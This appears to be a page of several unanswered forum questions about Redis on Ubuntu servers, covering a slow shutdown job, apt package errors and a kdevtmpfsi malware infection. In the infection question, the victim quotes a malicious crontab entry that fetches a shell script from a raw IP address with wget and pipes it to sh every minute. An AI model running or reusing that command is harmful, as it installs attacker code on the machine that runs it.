so after installing redis onto my ubuntu 20.04 server. Whenever I reboot. A stop job appears for Advanced key-value store. I believe this is part of redis but I don't know why it keeps appearing and taking so long. How do I stop it
My Ubuntu server has been infected by a virus kdevtmpfsi, I have already done serveral steps to solve this problem, like all of these: https://github.com/docker-library/redis/issues/217.
But it is still coming again and again when docker container with redis is running.
But there is stil one thing that I could not do, when I run the command for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done
to see all users crontab, this is my output:
no crontab for gdm
fabio
* * * * * wget -q -O - http://195.3.146.118/unk.sh | sh > /dev/null 2>&1
debian-tor
no crontab for debian-tor
deploy
no crontab for deploy
redis
no crontab for redis
There is a suspect job in crontab using wget
to download a sh
script, I cannot find how to delete this, and I am not sure if this will come back again when I turn on docker container with redis.
Look at the image above, the "user" that is running this virus is a user "999" I have no idea how this is possible because this user does not exist.
What could I do to solve this?
I installed a fresh install of 18.04 server. The package redis-server
does not seem to be installable. I'm not sure why:
$ sudo apt install redis-server
Reading package lists... Done
Building dependency tree
Reading state information... Done
E: Unable to locate package redis-server
the package doesnt appear to exist:
$ sudo apt-cache search redis
miscfiles - Dictionaries and other interesting files
python-redis - Persistent key-value database with network interface (Python library)
resource-agents - Cluster Resource Agents
I have run apt update
. I'm guessing its missing a repository of packages, but since this is a fresh install, I'm not sure why it would be missing one, or how to fix it.
root@:/etc/newrelic# sudo apt-get install nri-redis
Reading package lists... Done
Building dependency tree
Reading state information... Done
E: Unable to locate package nri-redis
I am getting error when I run sudo apt-get upgrade
output error :
Reading package lists... Done
Building dependency tree
Reading state information... Done
Calculating upgrade... Done
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
1 not fully installed or removed.
After this operation, 0 B of additional disk space will be used.
Do you want to continue? [Y/n] Y
Setting up redis-server (5:4.0.9-1) ...
dpkg-statoverride: error: user 'redis' does not exist
dpkg: error processing package redis-server (--configure):
installed redis-server package post-installation script subprocess returned error exit status 2
Errors were encountered while processing:
redis-server
E: Sub-process /usr/bin/dpkg returned an error code (1)
the error about redis-server and can not remove redis-server.
my linux is ubuntu 18 Desktop.